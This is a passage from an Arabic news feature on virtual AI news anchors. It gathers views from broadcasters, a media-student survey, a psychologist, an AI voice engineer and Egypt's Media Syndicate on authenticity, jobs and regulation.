ويرى أن الذكاء الاصطناعي يمكن أن يكون أداة مفيدة للمذيع في جمع وتحليل المعلومات، لكن تبقى الصنعة الإعلامية في جوهرها إنسانية. ورغم أنه لا يتوقع تقليصًا مباشرًا للوظائف، إلا أنه يحذر من تأثيرات الواقع الافتراضي على سوق العمل، كما حدث في مهن أخرى، لكنه يؤمن بأن التطور يخلق أيضًا فرصًا جديدة للابتكار.

ويعتبر أن دور المذيع الافتراضي سيبقى محدودًا في النشرات الجافة والمواد غير التفاعلية، ساخرًا من أدائه بقوله: “دمه تقيل”، في إشارة لغياب القبول الجماهيري.

وفي ختام حديثه، ينصح الإعلاميين الشباب بـتنمية ثقافتهم وتطوير أنفسهم للحفاظ على تفوقهم الإنساني، مؤكدًا أن المعرفة والوعي هما الضمان الحقيقي لبقاء الإنسان في الصدارة.

 الإعلامى – طه الحديري

ويرى الإعلامي طه الحديري أن المذيع الافتراضي، رغم دقته وكفاءته التقنية، يفتقر للروح، وهي أهم ما يميز الإنسان، مؤكدًا أن التكنولوجيا لا تستطيع محاكاة مشاعر المذيع البشري أو التعبير الحقيقي عن المواقف الإنسانية، مثل قصة أم شهيد أو حوار مع طفل يتيم، لأن أداؤه قائم على برمجة مسبقة تفتقر للنضج والتراكم الشعوري.

ويؤكد أن المذيع الافتراضي محكوم بالمعلومات التي زُوِّد بها ولا يمكنه الإبداع أو الخروج عنها، على عكس المذيع البشري الذي يحلل ويتأقلم مع الواقع. ويضرب مثالًا بنموذج ذكي وصف ترامب بأنه “رجل اقتصاد قوي”، في حين أن الإعلاميين البشريين قدموا تحليلات أدق وتوقعوا الرفض العالمي لسياساته.

ويشير إلى أن البرامج الفنية والإنسانية والشعرية يصعب على الذكاء الاصطناعي أن ينافس فيها، لأنها تتطلب تذوقًا إنسانيًا حقيقيًا لا يمكن برمجته. ويستشهد ببرنامج افتراضي عن الأغاني، موضحًا أن المذيع البشري يمكنه استحضار روح الشاعر والمعنى العاطفي للأغنية، بينما الافتراضي يكتفي بسرد معلومات.

ويعتبر أن الذكاء الاصطناعي ليس بديلاً، بل حافزًا لتطوير المذيع البشري، مشددًا على أن زمن الظهور التلفزيوني القائم على الشكل والترند قد انتهى، وأن الاستمرار في المجال يعتمد على المحتوى، والثقافة، والقدرة على فهم الجمهور.

ويحذّر الإعلاميين الجدد من الاعتماد على النقل النظري والتكرار، داعيًا إلى تقديم تحليلات وتجارب واقعية بدلًا من نصوص محفوظة، لأن الجمهور بات أكثر وعيًا ويصعب التأثير فيه بمظهر أو صوت جميل فقط.

وفي ختام رأيه، يؤكد الحديري أن الذكاء الاصطناعي لن يحل محل الإنسان، بل يرى مستقبلًا قائمًا على التكامل بين الطرفين، بحيث يكون الذكاء الاصطناعي مساعدًا ومرجعًا، ويظل الإعلامي البشري هو من يمنح الشاشة الروح التي لا تُستنسخ.

 هل نُعدّ طلاب الإعلام لمهنة قد تختفي؟

رغم التطور المتسارع لتقنيات الذكاء الاصطناعي واقتحامها مجالات الإعلام، ما زال المذيع الافتراضي يواجه تحديات تتعلق بثقة الجمهور، وقبول المتلقي، وغياب الحس الإنساني، كما تكشف آراء طلاب الإعلام الذين شاركوا في هذا الاستبيان.

في إجاباتهم حول الفروقات الجوهرية بين المذيع البشري ونظيره الافتراضي، اتفقت الغالبية على أن العنصر الإنساني يمثل جوهر العمل الإعلامي. فأداء المذيع البشري لا يقتصر على نقل المعلومة، بل يمتد إلى إيصال المشاعر، والتفاعل اللحظي مع الجمهور، والقدرة على الارتجال، وهي عناصر وصفها أحد المشاركين بأنها “لا يمكن صناعتها آليًا مهما تطورت التكنولوجيا”.

وعند سؤالهم عن الهوية الإعلامية، أجمعت الآراء تقريبًا على أهمية الحفاظ على الإنسان كجزء من عملية التواصل الإعلامي. “روح الإنسان”، “المصداقية”، و” القدرة على التغيير المجتمعي” كانت كلمات تكررت مرارًا، في تعبير واضح عن القلق من أن يؤدي الاعتماد الكلي على الذكاء الاصطناعي إلى تجريد الإعلام من وظيفته التشاركية والوجدانية.

أما عند عرض مشاهد لمذيعين افتراضيين، تنوعت مشاعر المشاركين بين القلق، الغرابة، وعدم الارتياح. وعبّر البعض عن شعور “بالخوف” أو “عدم المصداقية”، وهو ما يعكس فجوة كبيرة لا تزال قائمة بين تطور التكنولوجيا ومستوى تقبل الجمهور لها.

ومن زاوية سوق العمل، أبدى 75% من المشاركين خشيتهم من أن تؤدي هذه التقنية إلى تقليص الفرص المستقبلية للكوادر الإعلامية. ورغم أن قلةً رأت أنها قد تخلق فرصًا جديدة، إلا أن هذه الرؤية ما تزال محدودة أمام مخاوف الإقصاء المهني.

وعن سؤال قدرة المذيع الافتراضي على إعداد المحتوى والتفاعل كمراسل، رفضت الأغلبية الفكرة، مشيرة إلى أن الإعلامي البشري لا يُستبدل، لما يملكه من وعي وسياق وقراءة للمواقف لا يمكن برمجتها بسهولة.

اللافت أن الآراء انقسمت بالتساوي عندما طُرح سؤال مباشر حول الثقة في محتوى يقدمه مذيع افتراضي، ما يشير إلى أن الذكاء الاصطناعي قد يكسب مساحة من الثقة، لكنها لا تزال محدودة ومشروطة

 وجه جميل وصوت دقيق… لكن أين التعاطف؟

ومن الزاوية النفسية، يشير د. وليد هندي، استشاري الصحة النفسية، إلى أن المذيع الافتراضي – رغم كونه إنجازًا تقنيًا لافتًا – يظل كيانًا ناقصًا نفسيًا، يفتقد إلى مقومات التأثير الوجداني العميق في الجمهور. فهو لا يمتلك هوية نفسية متكاملة، ولا يُتيح مساحة للتفاعل العاطفي الحقيقي، الذي يُعدّ أحد أهم عناصر التأثير الإعلامي. ويضيف: “رغم أن هذه الشخصيات الرقمية قد تُسهّل إيصال المحتوى لبعض الفئات كالمكفوفين أو غير المتعلمين، إلا أنها لا تُعوض الأثر النفسي الذي يتركه المذيع البشري في وعي ووجدان المتلقي”.

 يرى هندي أن شخصية الأفاتار تفتقر لما يُعرف في علم النفس بـ” الاستبصار” أو “الإدراك التصحيحي”، إذ إنها تُردد ما تتلقاه من بيانات دون مراجعة أو وعي، مما يجعلها عرضة لتكرار الأخطاء دون تمييز. ويشير إلى أن المذيع الحقيقي وحده من يملك هذه القدرة النفسية على مراجعة الذات، والتفاعل مع الموقف بناءً على خلفية وجدانية وشخصية متكاملة.

 في لحظات الألم، كعرض مشاهد الحرب أو الكوارث، أو في لحظات الفرح، كفوز فريق وطني، يبرز الفرق الجوهري بين الإنسان والآلة. المذيع البشري قد تتغير نبرته، ينكسر صوته، يبكي، يضحك، ويتلعثم. كلها إشارات نفسية تُحدث أثرًا عاطفيًا لدى المتلقي، وتُفعّل ما يُعرف في علم النفس بـ” التناغم الشعوري”. بينما يظل الأفاتار محايدًا، بارداً، وكأنه يقرأ من ورقة.

 ويضيف: “المذيع الحقيقي يملك مهارات ارتجال فريدة تُعرف بالاحتواء اللحظي، فينقذ الموقف حين يحدث خلل على الهواء أو فراغ في البث، أما المذيع الافتراضي فمحكوم ببرمجة جامدة لا تعترف بالحساسية النفسية للحظة”.

 كما يشير إلى جانب نفسي بالغ الأهمية، وهو “الانتماء المهني”، والذي يتشكل من مشاعر فخر، وكفاح، وتاريخ طويل من النجاحات والانكسارات. المذيع البشري ابن المؤسسة التي يعمل بها، يشعر تجاهها، يدافع عنها، يتألم لألمها ويفرح بنجاحها. وهو ما يستحيل زرعه في شخصية افتراضية خالية من العاطفة.

 ويتابع حديثه بالإشارة إلى أثر المذيع البشري في تكوين الطموح لدى الأطفال والمراهقين، مؤكدًا أن هذه الشخصيات تشكّل قدوة نفسية حقيقية، تُغذّي الخيال والهوية. “كنت أتتبع المذيع أحمد سمير، وأقلده في صوته وربطة عنقه، وتكوّنت لدي رغبة حقيقية في أن أكون مثله… فهل يمكن للطفل أن يحلم أن يكون أفاتار؟!”.

 ويختم الدكتور وليد هندي بقوله: “رغم إعلان دول كبرى – مثل الصين – عن آلاف من المذيعين الافتراضيين، لم نرَ لهم تأثيرًا نفسيًا أو وجدانيًا يُذكر. ببساطة، لأنهم يفتقرون للروح، والروح هي أساس كل تواصل إنساني حقيقي. المذيع الافتراضي… وهم عظيم تقنيًا، لكنه فقير وجدانيًا

مهندس ذكاء اصطناعي: اللهجة المصرية.. تحدٍ مستمر للآلة

صرح المهندس أحمد رأفت، مهندس ميكانيكا ومتخصص في أدوات الذكاء الاصطناعي، حول استخدام تقنيات الذكاء الاصطناعي في مجال الصوت والفيديو، مسلطًا الضوء على التحديات والفرص المتاحة.

وأوضح المهندس رأفت أن استخدام تقنيات الصوت يمر بمراحل متدرجة، تبدأ بتقنية “النص إلى كلام” التقليدية، والتي وصفها بأنها ذات جودة محدودة وتبدو ميكانيكية. وأشار إلى المستوى الثاني الذي يستخدم منصات الذكاء الاصطناعي باللغة الإنجليزية لإنتاج صوت يقترب من اللهجة المصرية، ولكنه لا يرتقي إلى جودة اللهجة الأصلية.

 أما المستوى الثالث، وفقًا لتصريحات المهندس رأفت، فيعتمد على تسجيل الصوت بلهجة مصرية طبيعية واستخدام برامج تغيير الصوت لمحاكة أصوات شخصيات معينة، معتبرًا هذه الطريقة الأعلى جودة للوصول إلى لهجة مصرية واقعية.

 وفيما يتعلق بالمستوى الرابع والأعلى، لفت المهندس إلى أنه يعتمد على كتابة النص بالعربية الفصحى أو العامية وتشكيله لغويًا، ثم استخدام نماذج مدربة على نطق اللهجة المصرية، مع الإشارة إلى التحديات القائمة نظرًا لعدم تدريب معظم النماذج بشكل كافٍ على هذه اللهجة.

 أكد المهندس رأفت على أن “اللكنة المصرية تحديدًا تُعد من أصعب اللهجات التي يمكن للذكاء الاصطناعي محاكاتها بدقة، وذلك لأنها خليط لغوي يجمع بين عدة لغات، مما يجعل إتقانها تحديًا لنماذج الذكاء الاصطناعي، خاصة مع محدودية تدريبها على اللغة العربية أصلًا.”

بالانتقال إلى تجهيز الفيديو، شرح المهندس إمكانية تركيب الصوت على فيديو حقيقي أو صورة، مع الإشارة إلى منصات مثل Magic AI التي تتيح إنشاء فيديوهات أو صور متحركة بمدة محدودة في النسخة المجانية. كما تطرق إلى استخدام المواقع لمعلقين صوتيين جاهزين لإنشاء ما يُعرف بالمذيعين الافتراضيين، مع ملاحظة أن هذه الطرق قد لا تقدم أفضل جودة في التفاعل الصوتي والتعبير عن المشاعر.

 وفي ختام تصريحه، أكد المهندس أحمد رأفت على أن “التفاعل الحقيقي مع الصوت والمشاعر ما يزال يتطلب تدخلاً بشريًا”، مشيرًا إلى أن المشاعر المرتبطة بنبرة الصوت لا تزال غير مدعومة بالكامل في الذكاء الاصطناعي. ولكنه نوّه إلى الميزة الاقتصادية لهذه التقنيات، حيث إن تكلفتها “منخفضة جدًا مقارنة بأجور المذيعين البشريين.”

 نقابة الإعلاميين تؤكد: الذكاء الاصطناعي فرصة لتطوير الأداء الإعلامي مع الحفاظ على الدور الإنساني

يرى أيمن عدلي مهدي، رئيس لجنة التدريب والتثقيف بنقابة الإعلاميين، أن ظاهرة المذيعين الافتراضيين تمثل انعكاسًا طبيعيًا للتطور التكنولوجي السريع الذي يشهده الإعلام، نتيجة اندماج الذكاء الاصطناعي المتزايد في إنتاج وتقديم المحتوى.

ويشير إلى أن نقابة الإعلاميين تتعامل مع هذه الظاهرة من زاويتين: الأولى: أنها قد ترفع من كفاءة الإنتاج وجودة المحتوى. الثانية: أنها تثير تساؤلات حول المصداقية والجانب الإنساني الذي لا يمكن تعويضه.

ويؤكد أن الإعلام التنموي، الذي يهدف إلى بناء الوعي المجتمعي والإنساني، لا يمكن أن يؤديه الذكاء الاصطناعي منفردًا، لأنه يتطلب تفاعلًا إنسانيًا مباشرًا لا توفره التقنيات مهما تطورت. لذلك، ترى النقابة أن المذيع الافتراضي ليس مجرد تقنية، بل عنصر جديد في المشهد الإعلامي يجب ضبطه بضوابط مهنية دقيقة، تحمي دور الإعلامي البشري في صناعة الوعي وتشكيل الرأي العام.

ورغم عدم وجود إطار تنظيمي شامل حتى الآن لضبط عمل المذيعين الافتراضيين، إلا أن النقابة تعمل بالتعاون مع المجلس الأعلى لتنظيم الإعلام على وضع آليات قانونية ومهنية تضمن التزام المحتوى المقدم عبر الذكاء الاصطناعي بالمعايير الأخلاقية والمهنية.

ويترافق هذا التوجه مع ضرورة تطوير برامج تدريبية للإعلاميين، لضمان جاهزيتهم في استخدام هذه الأدوات بكفاءة وتوازن بين التقنية والرسالة الإعلامية.

وفيما يخص مستقبل الإعلاميين مع الذكاء الاصطناعي، يؤكد عدلي أن النقابة لا تراه تهديدًا، بل فرصة كبيرة لتطوير الأداء الإعلامي، بشرط أن يُحسن الإعلاميون استخدام هذه الأدوات.

فالمهارات الجديدة، مثل التعامل مع البيانات وتحسين جودة الإنتاج، أصبحت أساسية، لكنها لا تلغي أهمية التحليل والتفاعل الإنساني وقراءة السياقات الاجتماعية والثقافية.

ويختتم بالتأكيد على وجود نية داخل النقابة لوضع مدونة سلوك وإرشادات مهنية واضحة، تتضمن: ضوابط لاستخدام المذيعين الافتراضيين، آليات لضمان الالتزام المهني، برامج تدريبية للجيل الجديد من الإعلاميين، ليكونوا مؤهلين للتعامل مع سوق إعلامي متغير لا يُقصي الإنسان، بل يتطلب منه التطور المستمر.

 المذيع الافتراضي واقع لا مفر منه، وتقنية تتطور بسرعة مذهلة، وقد تفرض نفسها في مساحات واسعة من الإعلام. لكن رغم ذلك، تبقى للمذيع البشري كاريزما خاصة، ودفء إنساني، وتفاعل حي لا يمكن تقليده أو برمجته، فالذكاء الاصطناعي قد يحفظ المعلومة، ينسّقها، يعرضها، بل وربما يتقن الإلقاء والتفاعل السطحي، لكنه يظل “بلا روح”، في حين أن المذيع الحقيقي يُشبه القصيدة الحيّة، تنبض بكل كلمة، وتنقل المعنى والمشاعر

اظهر المزيد

مقالات ذات صلة

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى